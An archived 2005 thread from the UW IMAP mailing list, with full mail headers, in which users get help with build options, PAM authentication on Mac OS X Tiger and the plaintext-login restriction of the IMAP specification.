Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 18:00:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB220EoR022730 for ; Thu, 1 Dec 2005 18:00:14 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB220DT6001636 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:00:13 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2209AZ012759 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 18:00:10 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22090V032560; Thu, 1 Dec 2005 18:00:09 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2208pa032552 for ; Thu, 1 Dec 2005 18:00:08 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2207kv006199 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 1 Dec 2005 18:00:07 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22071g020970 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:00:07 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB21xrNt023370 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 1 Dec 2005 18:00:02 -0800 Date: Thu, 1 Dec 2005 17:59:49 -0800 (PST) From: Mark Crispin To: dzarate@cnc.una.py Subject: Re: [Imap-uw] Troubles with imap-uw-2004,g In-Reply-To: <20051201122543.696e43f1@fsbkpc.cnc.una.py> Message-ID: References: <20051201122543.696e43f1@fsbkpc.cnc.una.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello - It seems that you have a modified copy of the UW imap toolkit. The command make -DWITH_SSH_AND_PLAINTEXT PASSWDTYPE=std IP=6 is not used with the unmodified UW distribution. In particular, I do not know what -DWITH_SSH_AND_PLAINTEXT does, since that is not a configuration parameter in the version that I wrote. You can obtain an unmodified copy of UW IMAP from: ftp://ftp.cac.washington.edu/mail/imap.tar.Z The correct build for FreeBSD in unmodified UW IMAP is: make bsf You reported that you are getting a "Login disabled" syslog. "Login disabled" means that an attempt was made to use a plaintext authentication mechanism (LOGIN, AUTHENTICATE PLAIN, AUTHENTICATE LOGIN) in a session that is not protected by SSL or TLS encryption. This is in compliance with RFC 3501 sections 6.1.1, 6.2.3, 7.2.1, and 11.2. To avoid this, you must install SSL/TLS certificates (as described in the imap-2004g/docs/SSLBUILD file) and use a client capable of SSL or TLS. Alternatively, you must disable unsecured plaintext prohibition with SSLTYPE=none or SSLTYPE=unix (but note that doing so exposes passwords to being stolen by hackers). -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 18:04:16 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 18:04:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB224F9T022852 for ; Thu, 1 Dec 2005 18:04:15 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB224Evb029375 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:04:15 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB224Bdx031905 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 18:04:11 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB224BO2000498; Thu, 1 Dec 2005 18:04:11 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB224Ak8000490 for ; Thu, 1 Dec 2005 18:04:10 -0800 Received: from out4.smtp.messagingengine.com (out4.smtp.messagingengine.com [66.111.4.28]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2249oh001676 for ; Thu, 1 Dec 2005 18:04:09 -0800 Received: from frontend1.internal (mysql-sessions.internal [10.202.2.149]) by frontend1.messagingengine.com (Postfix) with ESMTP id 23259D1C495 for ; Thu, 1 Dec 2005 21:04:08 -0500 (EST) Received: from web3.messagingengine.com ([10.202.2.212]) by frontend1.internal (MEProxy); Thu, 01 Dec 2005 21:04:08 -0500 Received: by web3.messagingengine.com (Postfix, from userid 99) id 2B8C31747E; Thu, 1 Dec 2005 21:04:09 -0500 (EST) Message-Id: <1133489049.16835.248814998@webmail.messagingengine.com> X-Sasl-Enc: q+V3uzE3abcVkFlN/hlCrb6Oh2FPexJVEdC2xWv/SHDN 1133489049 From: "Otto Maddox" To: imap-uw@u.washington.edu Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="ISO-8859-1" MIME-Version: 1.0 X-Mailer: MIME::Lite 1.5 (F2.73; T1.15; A1.64; B3.05; Q3.03) Date: Fri, 02 Dec 2005 02:04:09 +0000 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __XMAILER_MIME_LITE 0' Subject: [Imap-uw] UW IMAP on Mac OS X 10.4 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I am trying to get UW IMAP 2004g working on Mac OS X 10.4 (Tiger). So far: $ make osx SSLTYPE=none $ sudo cp imapd/imapd /usr/local/libexec (I'm using "SSLTYPE=none" as a temporary measure. I still have to get certificates, etc, sorted out and then I'll do it properly with SSL. It's running on localhost and not accessible to anyone else anyway.) Here's my /Library/LaunchDaemons/imapd.plist: Label edu.washington.imapd ProgramArguments /usr/local/libexec/imapd Sockets Listeners Bonjour SockServiceName imap inetdCompatibility Wait The problem is that the server won't authenticate me. Apple Mail, for instance, keeps telling me the server rejected the password. Anyone have any ideas? Thanks. -- http://www.fastmail.fm - I mean, what is it about a decent email service? _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 18:24:45 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 18:24:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22Oi4H023717 for ; Thu, 1 Dec 2005 18:24:45 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22Oiwn030706 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:24:44 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22OePD015392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 18:24:40 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22Oeco002968; Thu, 1 Dec 2005 18:24:40 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22OdJY002960 for ; Thu, 1 Dec 2005 18:24:39 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22OcDv020314 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 1 Dec 2005 18:24:39 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22OcKB023521 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:24:38 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22OasT025506 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 1 Dec 2005 18:24:37 -0800 Date: Thu, 1 Dec 2005 18:24:35 -0800 (PST) From: Mark Crispin To: Otto Maddox Subject: Re: [Imap-uw] UW IMAP on Mac OS X 10.4 In-Reply-To: <1133489049.16835.248814998@webmail.messagingengine.com> Message-ID: References: <1133489049.16835.248814998@webmail.messagingengine.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 2 Dec 2005, Otto Maddox wrote: > The problem is that the server won't authenticate me. Apple Mail, for > instance, keeps telling me the server rejected the password. Since you say that you are using SSLTYPE=none, we know that this is not the "no plaintext passwords on non-SSL/TLS sessions" issue. You said that you used "osx". I don't think that works with Tiger; even privileged processes no longer get the password via getpwnam(). Consequently, you must use "oxp", and set up a PAM rule file for IMAP. So, do make clean make oxp SSLTYPE=none sudo cp imapd/imapd /usr/local/libexec to update imapd to a PAM version. As for a PAM rule file, I just copied the FTP rules: cd /etc/pam.d sudo cp ftpd imap -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 18:53:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 18:53:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22r4Su024851 for ; Thu, 1 Dec 2005 18:53:04 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22r3oU004591 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:53:04 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22r0ZD004648 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 18:53:00 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22r0QN005263; Thu, 1 Dec 2005 18:53:00 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22qw5w005255 for ; Thu, 1 Dec 2005 18:52:58 -0800 Received: from out4.smtp.messagingengine.com (out4.smtp.messagingengine.com [66.111.4.28]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22qwPa012218 for ; Thu, 1 Dec 2005 18:52:58 -0800 Received: from frontend1.internal (mysql-sessions.internal [10.202.2.149]) by frontend1.messagingengine.com (Postfix) with ESMTP id 89FE9D1CA83; Thu, 1 Dec 2005 21:52:56 -0500 (EST) Received: from web3.messagingengine.com ([10.202.2.212]) by frontend1.internal (MEProxy); Thu, 01 Dec 2005 21:52:56 -0500 Received: by web3.messagingengine.com (Postfix, from userid 99) id 8951214FB3; Thu, 1 Dec 2005 21:52:55 -0500 (EST) Message-Id: <1133491975.21345.248818142@webmail.messagingengine.com> X-Sasl-Enc: YQCnulm5hPI3/SxI00eCgqcWKwy9trn2Fnkso45P8Sv8 1133491975 From: "Otto Maddox" To: "Mark Crispin" Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="ISO-8859-1" MIME-Version: 1.0 X-Mailer: MIME::Lite 1.5 (F2.73; T1.15; A1.64; B3.05; Q3.03) References: <1133489049.16835.248814998@webmail.messagingengine.com> Subject: Re: [Imap-uw] UW IMAP on Mac OS X 10.4 In-Reply-To: Date: Fri, 02 Dec 2005 02:52:55 +0000 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __XMAILER_MIME_LITE 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 1 Dec 2005 18:24:35 -0800 (PST), "Mark Crispin" said: > On Fri, 2 Dec 2005, Otto Maddox wrote: > > The problem is that the server won't authenticate me. Apple Mail, for > > instance, keeps telling me the server rejected the password. > > Since you say that you are using SSLTYPE=none, we know that this is not > the "no plaintext passwords on non-SSL/TLS sessions" issue. I hadn't come across this issue. Do I need to be aware of it? (For when I get around to building SSL-enabled imapd.) > You said that you used "osx". I don't think that works with Tiger; even > privileged processes no longer get the password via getpwnam(). > > Consequently, you must use "oxp", and set up a PAM rule file for IMAP. > So, do > make clean > make oxp SSLTYPE=none > sudo cp imapd/imapd /usr/local/libexec > to update imapd to a PAM version. > > As for a PAM rule file, I just copied the FTP rules: > cd /etc/pam.d > sudo cp ftpd imap It works. Thanks very much :-) -- http://www.fastmail.fm - Access all of your messages and folders wherever you are _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 18:59:06 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 18:59:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22x5HS025011 for ; Thu, 1 Dec 2005 18:59:05 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22x5DA004888 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:59:05 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22x1QJ020147 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 18:59:01 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22x1pS005909; Thu, 1 Dec 2005 18:59:01 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22x04M005901 for ; Thu, 1 Dec 2005 18:59:00 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22wxgF009805 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 1 Dec 2005 18:59:00 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22wxFP020133 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 18:58:59 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB22wvEe027847 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 1 Dec 2005 18:58:58 -0800 Date: Thu, 1 Dec 2005 18:58:56 -0800 (PST) From: Mark Crispin To: Otto Maddox Subject: Re: [Imap-uw] UW IMAP on Mac OS X 10.4 In-Reply-To: <1133491975.21345.248818142@webmail.messagingengine.com> Message-ID: References: <1133489049.16835.248814998@webmail.messagingengine.com> <1133491975.21345.248818142@webmail.messagingengine.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 2 Dec 2005, Otto Maddox wrote: >> Since you say that you are using SSLTYPE=none, we know that this is not >> the "no plaintext passwords on non-SSL/TLS sessions" issue. > I hadn't come across this issue. Do I need to be aware of it? (For > when I get around to building SSL-enabled imapd.) This is a requirement of the IMAP specification. Servers are not supposed to allow password authentication unless the session is secured with SSL or TLS. This frequently confuses novices who try to TELNET to an IMAP server to test it, and wonder why they can't log in. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 20:15:23 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 20:15:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB24FMrk027694 for ; Thu, 1 Dec 2005 20:15:22 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB24FMjh008561 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 20:15:22 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB24FIvB019011 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 20:15:18 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB24FIAd011725; Thu, 1 Dec 2005 20:15:18 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB24FG98011717 for ; Thu, 1 Dec 2005 20:15:16 -0800 Received: from staff.cs.usyd.edu.au (staff.cs.usyd.edu.au [129.78.8.1]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jB24FCdn005523 for ; Thu, 1 Dec 2005 20:15:13 -0800 Received: from blade1.cs.usyd.edu.au. [129.78.11.79] by staff.cs.usyd.edu.au.; Fri, 02 Dec 2005 15:15:00 +1100 Date: Fri, 02 Dec 2005 15:14:51 +1100 From: Roy Giles To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] imap and NFS Message-Id: <1133496900.18.646314850@it.usyd.edu.au> References: <1133243111.47.1039973322@it.usyd.edu.au> X-Image-Url: http://www.it.usyd.edu.au/faces/au/edu/usyd/it/roy/face.jpg Organization: Sydney University Computer Science MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 29 Nov 2005 16:45:03 +1100, Roy Giles wrote: > > Hello, > > Our mail system resides on a fairly old Sparc machine running Solaris 2.6 > which is grinding to a halt; as a start in eventually moving off this machine, > we are thinking of moving our unix style mailbox format imap server :- > > IMAP4rev1 2004.357 > > on to a Linux box with mail still being delivered by smtp to the Solaris box. > > Could anyone with experience of running imap over NFS please comment on their > experiences pro and con, especially in the realm of locking. > > Thanks > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw Thanks to all who replied on this, it seems to have provoked the debate ... that we probably had to have !!! _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 05:25:28 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 05:25:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DPSQW020500 for ; Fri, 2 Dec 2005 05:25:28 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DPRga003756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 05:25:27 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DPNX8022992 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 05:25:24 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DPNdX011563; Fri, 2 Dec 2005 05:25:23 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DPM3K011555 for ; Fri, 2 Dec 2005 05:25:22 -0800 Received: from sce.cnc.una.py (sce.cnc.una.py [200.10.228.133]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DOpOP011892 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Dec 2005 05:25:08 -0800 Received: from alpha.cnc.una.py (alpha.cnc.una.py [200.10.228.103]) by sce.cnc.una.py (8.12.9/8.11.4) with ESMTP id jB2DObHx084769 for ; Fri, 2 Dec 2005 10:24:38 -0300 (PYST) Received: from fsbkpc.cnc.una.py (fsbkpc.cnc.una.py [200.10.228.102]) by alpha.cnc.una.py (8.12.8/8.12.8) with SMTP id jB2DOV7Z029812 for ; Fri, 2 Dec 2005 10:24:37 -0300 Date: Fri, 2 Dec 2005 10:24:30 -0300 From: Derlis =?ISO-8859-1?Q?Z=E1rate?= To: "imap-uw@u.washington.edu" Subject: Re: [Imap-uw] Troubles with imap-uw-2004,g Message-Id: <20051202102430.2d1477ae@fsbkpc.cnc.una.py> In-Reply-To: References: <20051201122543.696e43f1@fsbkpc.cnc.una.py> Organization: Centro Nacional de =?ISO-8859-1?Q?Computaci=F3n?= X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-unknown-freebsd5.1) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi,=20 I download imap.tar.Z and then I execute: make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dstd IP=3D6 Now, I can do login but not yet it verifies the expiration of users (listed= in /etc/master.passwd) A user with the expired account, can do login and read his messages.=20 I want to avoid this. =BFIt is necessary that it modifies the source code? Other question: After make with the options mentioned above I try to install the programs e= xecuting the comand # make install=20 But appears this message: "make: don't know how to make install. Stop" I will 